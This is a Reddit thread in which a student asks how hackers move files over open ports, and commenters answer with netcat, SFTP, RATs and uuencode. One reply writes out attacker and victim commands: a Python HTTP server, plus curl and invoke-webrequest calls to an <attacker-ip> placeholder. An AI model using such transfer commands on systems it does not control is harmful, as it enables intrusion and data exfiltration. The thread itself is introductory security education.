r/HowToHack • u/reditor575 • Dec 07 '25
How do hackers send files over open ports?
I want to get further into cybersecurity, im 10th year and my school doesn't have courses on cybersecurity, and ive been trying to find places to learn more about this topic
58
Upvotes
6
u/XFM2z8BH Dec 07 '25
netcat
38
u/MrStricty Dec 07 '25
Hackers dont have black magic. Sending files requires the use of a protocol designed for data transfer, like HTTP(S), (S)FTP, or something else. A threat actor exfiltrating sensitive data can be as simple as zipping up the documents folder and uploading it to a destination server over port 22 using SFTP (which would be reliant on the SSH daemon listening on the server).
4
u/RealisticProfile5138 Dec 07 '25
It takes two to tango. You have to have some sort of service running on that port that will allow them to send files, or it can be exploited to unintentionally accept files.
3
u/Humbleham1 Dec 07 '25
A RAT is also commonly used to transfer files.
4
u/hudsoncress Dec 07 '25
The ancient method is to connect via telnet or ftp. You would exploit anonymous logins and it was really simple. It’s gotten significantly more complicated, but ultimately it’s the same thing. Study the OSI model vs the TCP/IP models for describing the various layers of computer interaction. For every rule there is a way to break it.
2
u/cowtamer1 Dec 07 '25
Look at the command “uuencode”. You can turn any file into printable text and capture the text on the other side. Also look into “netcat” (the command is nc. You should first learn about “cat” first though … as well as other basic unix shell commands)
2
u/cant_pass_CAPTCHA Dec 07 '25
I just like to spin up a simple python http server. If you're using something like meterpreter, that has upload and download functions.
Attacker machine:
python -m http.server 80Victim:
invoke-webrequest -uri http://<attacker-ip>/your file.txtcurl http://<attacker-ip>/your file.txt1
u/A1-exe Dec 07 '25
You read a file and transmit the bytes over the network connection using it's file descriptor or handle.
For example, with a linux target: If you have a shell on a machine and you've established that connection in python, it's as simple as running cat on the file and writing the bytes you read over the connection to a file on your machine (no elaborate protocols needed).
0
u/IllustriousBank5941 Dec 07 '25
Smb ftp
76
u/[deleted] Dec 07 '25
[removed] — view removed comment
0
u/[deleted] Dec 07 '25
[removed] — view removed comment